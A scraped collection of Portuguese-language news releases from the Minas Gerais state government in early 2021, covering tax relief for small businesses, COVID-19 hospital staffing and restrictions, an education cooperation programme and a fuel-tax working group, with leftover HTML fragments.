Segundo o secretário de Estado de a href=http://www.fazenda.mg.gov.br/ target=_blank rel=noopener noreferrerFazenda/a de Minas Gerais, Gustavo Barbosa, a medida vai beneficiar 1.305.110 MEIs (microempreendedores individuais), micro e pequenas empresas mineiras optantes do Simples Nacional. O impacto da medida no estado é de cerca de R$ 100 milhões/mês; R$ 300 milhões no total.

“Decidimos recorrer ao Comitê Gestor do Simples Nacional por entendermos que essa prorrogação traz um certo alívio para os micro e pequenos empresários nesse momento tão difícil de pandemia”, avalia o secretário.

strongEntenda o Simples Nacional/strong

Criado em 2006 com a Lei Geral da Micro e Pequena Empresa, o Simples Nacional entrou em vigor em 2007. O sistema é um regime compartilhado – entre União, Estados e Municípios – de arrecadação, cobrança e fiscalização de tributos, destinado às micro e pequenas empresas, que pagam em um único boleto oito impostos:
ul
liIRPJ (Imposto sobre a Renda de Pessoa Jurídica);/li
liCSLL (Contribuição Social sobre o Lucro Líquido);/li
liPIS/Pasep (Programa de Integração Social e Programa de Formação do Patrimônio do Servidor Público);/li
liCofins (Contribuição para o Financiamento da Seguridade Social);/li
liIPI (Imposto sobre Produtos Industrializados);/li
liICMS (Imposto sobre Circulação de Mercadorias e Serviços);/li
liISS (Imposto Sobre Serviços);/li
liC (Contribuição Patronal Previdenciária)./li
/ul
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header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Governador também solicitou urgência na implementação de medidas de ajuda ao setor produtivo/p

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div class=margin-md-bottom-2 row/div
/sectionO governador Romeu Zema participou nesta quarta-feira (24/3) de reunião em Brasília para tratar sobre a situação da pandemia no país e buscar soluções imediatas para conter o avanço da doença e minimizar o sofrimento da população. Zema sugeriu um urgente esforço internacional para compra de medicamentos, insumos e vacinas contra a covid-19 e pediu agilidade na implementação de medidas de socorro ao setor produtivo. Também foi solicitada ajuda para reposição de cilindros de oxigênio.

O encontro teve a participação do presidente Jair Bolsonaro, presidentes do Supremo Tribunal Federal (STF), Luiz Fux, do Senado, Rodrigo Pacheco, e da Câmara dos Deputados, Arthur Lyra, além de ministros e outros governadores.

“Desde o início da pandemia tenho dito que brigar não resolve a situação. Hoje, nos reunimos em Brasília para discutir soluções para os problemas que afligem os brasileiros. Propus um esforço internacional imediato para comprarmos medicamentos e vacinas. Sobre as vacinas, uma alternativa importante é um esforço diplomático junto a países que contam com sobras de doses, no momento”, disse o governador.

Zema ressaltou ainda a necessidade de se pensar alternativas para atrair profissionais de Saúde, tendo em vista a exaustão e o adoecimento de quem está na linha de frente dos hospitais. Ele também pediu prioridade no auxílio às micro e pequenas empresas que sofrem com a crise econômica imposta pela pandemia.

“É necessário que tenhamos agilidade para colocar em prática medidas que ajudem o setor produtivo. Ficou acertado que faremos uma construção coletiva pelo Brasil. Precisamos de urgência”, afirmou.

Ao final da reunião, foi definida a criação de um comitê para discutir o combate ao coronavírus reunindo membros do Executivo e Legislativo, com interlocução com governadores.

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header class=col-md-10 col-md-offset-1 / margin-md-bottom-1Dos 74 chamamentos feitos pela Fhemig para médicos, 14 não tiveram interessados. Estado está adaptando hospitais da rede para ampliar leitos/headerheader class=col-md-10 col-md-offset-1 / margin-md-bottom-1/header
div class=news-image / margin-xs-bottom-1 margin-sm-bottom-2 margin-md-bottom-3
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div class=news-image-text / col-sm-12 col-md-9 / figcaptionDificuldade é, principalmente, para encontrar profissionais aptos a atender os casos graves e coordenar as equipes nas Unidades de Terapia Intensiva/div
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/sectionnbsp;

Embora tenha estrutura física para ampliar ainda mais o número de leitos de UTI e Enfermaria em Minas Gerais, o governo estadual enfrenta dificuldades para encontrar profissionais que possam preencher as vagas abertas e garantir atendimento aos pacientes de covid-19.

Desde o início da pandemia, a a href=http://www.fhemig.mg.gov.br/ target=_blank rel=noopener noreferrerFundação Hospitalar do Estado de Minas Gerais (Fhemig)/a realizou 74 chamamentos para preencher vagas de médicos nos hospitais da fundação, mas 14 deles deram deserto, ou seja, não foram encontrados profissionais disponíveis no mercado para realizar o trabalho.

Em coletiva de imprensa na terça-feira (16/3), para anunciar a onda roxa em todas as regiões do estado e evitar o colapso da capacidade assistencial, o governador Romeu Zema ressaltou os esforços da gestão, desde março do ano ado, para ampliar a estrutura hospitalar mineira.

Os leitos de UTI aram de 2 mil para 4 mil nos últimos 12 meses. Leitos de Enfermaria, que antes eram de 10 mil, saltaram para 20 mil unidades. O governador explicou que o Estado tem estrutura para ampliar ainda mais o atendimento, mas a falta de profissionais disponíveis dificulta a expansão.

strongUTIs/strong

A dificuldade é, principalmente, para encontrar profissionais aptos a atender os casos graves e coordenar as equipes nas Unidades de Terapia Intensiva.

“Para trabalhar em UTI é necessária qualificação adequada do profissional. Estudantes de Medicina podem colaborar, mas estar dentro de uma UTI é um trabalho hiper especializado e uma intubação mal feita pode condenar à morte um paciente”, disse o governador.

O secretário de Estado de a href=http://www.saude.mg.gov.br/ target=_blank rel=noopener noreferrerSaúde/a, Fábio Baccheretti, detalhou o processo de abertura de um leito de UTI.

“É o mais complexo dentro de um hospital. Precisa de RH especializado, equipamento médico, insumos que foram disponibilizados durante todo o ano de 2020 e ainda estão sendo disponibilizados. Foram distribuídos respiradores para todo o estado, monitores, mas chegamos ao esgotamento dos recursos humanos. Nunca foi evidenciada uma doença que afetou tanta gente ao mesmo tempo. Não existe sistema de Saúde no mundo que consiga acompanhar isso. Toda a expansão que o Estado fez foi aliviando a pressão até agora, mas chegamos ao nosso limite. Temos espaço físico, mas não temos o profissional. O papel da sociedade é fundamental para que a gente alivie esses números”, explicou.

O secretário de Saúde afirmou, ainda, que os hospitais da Fhemig estão adaptando blocos cirúrgicos e espaços de pronto-atendimento, para virarem leitos de UTI. “Continuamos a trabalhar por mais expansão de leitos, apesar das dificuldades de recursos humanos” afirmou Baccheretti.

strongOnda roxa/strong

A aplicação das medidas previstas na onda roxa e os motivos que levaram o a href=http://www.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno de Minas/a a estendê-la aos 853 municípios foram detalhados por Romeu Zema, durante a entrevista coletiva à imprensa na terça-feira. A nova etapa a a valer a partir desta quarta-feira (17/3) e, a princípio, terá duração de 15 dias.
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liConfira a deliberação do Comitê Extraordinário Covid-19 sobre a onda roxa a href=http://pesquisalegislativa.mg.gov.br/LegislacaoCompleta.aspx?cod=194797amp;marc= target=_blank rel=noopener noreferrerneste link/a./li
/ul
/blockquote
“O sistema de Saúde de Minas Gerais entrou em colapso. Ou seja, o número de pessoas que demandam cuidados médicos é maior que a capacidade de atendimento”, alertou o governador.

Para Zema, enquanto não existe vacinação em massa, a alternativa é controlar a disseminação do vírus com as medidas de distanciamento social.

“Estamos obrigados a optarmos entre continuar vivendo como se nada estivesse acontecendo ou termos um isolamento para salvarmos vidas. E eu sou favorável a salvar vidas”, disse.

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header class=col-md-10 col-md-offset-1 / margin-md-bottom-1
p class=text-title-4 / clear / margin-top-1 style=text-align: center;Serão investidos R$ 500 mi no programa Mãos Dadas; recurso poderá contemplar construção de escolas, mobiliários, obras e reformas/p

/header
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div class=news-image-text / col-sm-12 col-md-9 / figcaptionGovernador ressaltou a importância de ações integradas para o desenvolvimento/div
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O governador Romeu Zema participou nesta quarta-feira (3/3) do lançamento do projeto “Mãos Dadas”, da a href=http://www.educacao.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria de Estado de Educação (SEE)/a. A iniciativa busca fortalecer o regime de cooperação entre Estado e municípios mineiros no atendimento educacional, a partir do apoio e incentivo para que as cidades ampliem a oferta dos anos iniciais do ensino fundamental, conforme prevê a Constituição Federal e a Lei de Diretrizes e Bases da Educação Nacional.

Para apoiar as prefeituras na execução do Mãos Dadas serão investidos R$ 500 milhões. O recurso, previsto na Lei de Orçamento Anual de 2021, aprovada pela Assembleia Legislativa de Minas, poderá ser utilizado para a construção de escolas, aquisição de mobiliários, execução de obras e reformas, entre outras ações.

Na avaliação do governador, o exemplo do estado do Ceará, que adotou medida semelhante, mostra a eficácia da medida. “Não é só reformar escolas e dar treinamento aos professores que vai melhorar a Educação. É preciso ações integradas. O Ceará já ou por isso, a experiência deles já provou isso. Temos que fazer o que funciona. Quero que os prefeitos contem conosco, ter mais recursos é fundamental”, afirmou.

strongBenefícios/strong

O projeto “Mãos Dadas” trará benefícios mútuos para Estado e prefeituras. Ele possibilitará a aproximação das decisões pedagógicas e istrativas do município focadas nas verdadeiras necessidades dos alunos de anos iniciais, criando uma unidade pedagógica no ciclo da infância.

Além disso, com o aumento de matrículas do município, consequentemente haverá aumento do valor total a ser reado pelo governo federal, já que o ree é proporcional ao número de matrículas. Esses recursos serão cada vez maiores nos próximos anos, a partir da implementação do Novo Fundeb, chegando em 2026 a um valor adicional superior a R$ 400 milhões por ano às cidades mineiras.

Para o Estado, a iniciativa permitirá a concentração de esforços na implementação do ensino médio, possibilitando a ampliação do diurno, expansão do Ensino Médio em Tempo Integral (EMTI) e educação profissional.

strongMelhores índices/strong

Segundo a secretária de Estado de Educação, Julia Sant’Anna, o foco do Estado no ensino médio garantirá ainda melhores resultados no Índice de Desenvolvimento da Educação Básica (Ideb) em Minas.

“Vivemos em um estado que ainda é o segundo mais numeroso com alunos dos anos iniciais nas escolas estaduais. Precisamos ter desenvolvimento neste processo para que a gente consiga focar no ensino médio, nos anos finais; fazer a continuidade do processo de avanço no nosso Ideb do ensino médio e garantir que os prefeitos também tenham condição de absorver estes anos iniciais”, afirmou. “É a primeira vez Minas Gerais faz um aporte financeiro para apoiar os prefeitos. Não é apenas um apoio financeiro, mas técnico e pedagógico para garantir a evolução dos anos iniciais em Minas Gerais”, pontuou.

A partir da adesão ao projeto, os municípios receberão e da Secretaria de Estado de Educação durante a transição dos alunos. Além disso, serão disponibilizados materiais de apoio, auxílio na análise dos resultados das avaliações e elaboração de estratégias, avaliação diagnóstica para os anos iniciais e avaliações externas.

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A presidente executiva do Todos pela Educação – organização não governamental que trabalha por uma educação pública de qualidade -, Priscila Cruz, afirmou que a colaboração conjunta entre Estado e município é fundamental.

“Colaborar é trabalhar juntos. É assim que a gente vai fazer com que a Educação brasileira consiga sair desta crise gigantesca que a gente está vivendo hoje, que com a pandemia se tornou ainda mais aguda, e dar este direito a todas as crianças, independentemente da sua renda, da sua cidade, da rede que estuda. A ideia de colaboração é uma ideia poderosa para a gente cuidar das crianças e da juventude brasileira. Que Minas seja o exemplo para o país de trabalho conjunto”, avaliou.

O presidente da Associação Mineira de Municípios (AMM), Julvan Lacerda, ressaltou a iniciativa. “É um trabalho que vai gerar frutos não só a curto prazo, mas para a próxima geração. Quando a gente aumenta os índices da Educação, o Ideb, a gente diminui no futuro o índice de desemprego, aumenta a geração de renda e a riqueza do país”, finalizou.

Também participaram do lançamento o secretário adjunto de a href=http://www.governo.mg.gov.br/ target=_blank rel=noopener noreferrerGoverno (Segov)/a, Gustavo Corrêa, além das deputadas estaduais Laura Serrano e Celise Laviola.

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p class=text-title-4 / clear / margin-top-1 style=text-align: center;Equipe contará com representantes das entidades ligadas à cadeia do combustível e de órgãos públicos/p
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O governador Romeu Zema criou nesta quarta-feira (3/3) o Grupo de Trabalho com objetivo de promover estudos e propor normas e alternativas relacionadas ao Imposto sobre Circulação de Mercadorias e Prestação de Serviços (ICMS) nas operações internas com combustíveis.

Dessa forma, Zema cumpre o compromisso assumido na semana ada junto aos transportadores de combustíveis de buscar uma solução dialogada e efetiva para as insatisfações que levaram à paralisação do setor. O decreto foi publicado nesta quarta-feira (3/3) no a href=http://www.jornalminasgerais.mg.gov.br/ target=_blank rel=noopener noreferrerDiário Oficial do Estado/a.

O governador reafirmou que reduzir impostos é uma das prioridades da sua gestão. Reduzir impostos é um desejo e um compromisso meu. Tão logo a situação fiscal do Estado e as limitações legais trazidas por ela nos permitam, vamos colocar isso em prática. Até lá, temos de construir alternativas e vamos buscá-las em conjunto, explicou.

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O Grupo de Trabalho será constituído por representantes de órgãos públicos e de entidades da sociedade civil. A coordenação ficará a cargo da a href=http://www.governo.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria de Estado de Governo (Segov)/a. Os demais órgãos públicos participantes são a href=http://www.secretariageral.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria-Geral/a, a href=http://www.fazenda.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria de Estado de Fazenda (SEF)/a e a href=http://www.planejamento.mg.gov.br/ target=_blank rel=noopener noreferrerSecretaria de Estado de Planejamento e Gestão (Seplag)/a.

Já as entidades da sociedade civil convidadas a compor o grupo são: o Sindicato do Comércio Varejista de Derivados de Petróleo no Estado de Minas Gerais (Minaspetro), o Sindicato das Empresas Transportadoras de Combustíveis e Derivados de Petróleo do Estado de Minas Gerais (Sindtaque), o Sindicato dos Trabalhadores na Indústria de Açúcar e Álcool do Estado de Minas Gerais, o Sindicato Nacional das Empresas Distribuidoras de Combustíveis e de Lubrificantes (Sindicom), a Associação das Indústrias Sucroenergéticas de Minas Gerais, o Sindicato da Indústria de Fabricação do Álcool do Estado de Minas Gerais e o Sindicato da Indústria do Açúcar no Estado de Minas Gerais (Siamig).

Também farão parte o Sindicato dos Empregados em Postos de Serviços de Combustíveis e Derivados de Petróleo, Lava-rápido e Troca de Óleo de Belo Horizonte e Região (Sinpospetro-BH), o Sindicato de Transporte de Cargas e Logística de Minas Gerais (Setcemg), o Sindicato dos Trabalhadores de Minérios e Derivados de Petróleo de Minas Gerais (Sitramico-MG), a Federação das Cooperativas de Transporte de Cargas e ageiros do Estado de Minas Gerais (Fetranscoop), a Federação dos Caminhoneiros Autônomos de Minas Gerais (Fetac-MG), e a Federação dos Trabalhadores em Transportes Rodoviários, Urbanos, Próprios, Vias Rurais, Públicas e Áreas Internas no Estado de Minas Gerais (Fettrominas).

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Ainda de acordo com o decreto, os membros do Grupo de Trabalho e respectivos suplentes serão indicados pelo titular do órgão ou entidade que representam. O grupo contará com apoio técnico da a href=http://www.advocaciageral.mg.gov.br/ target=_blank rel=noopener noreferrerAdvocacia-Geral do Estado (AGE)/a e da Consultoria Técnico-Legislativa (CTL).

O Grupo de Trabalho concluirá as atividades no prazo de 30 dias, a contar da data de publicação do decreto, podendo ser prorrogado por igual período por ato do secretário de Estado de Governo.

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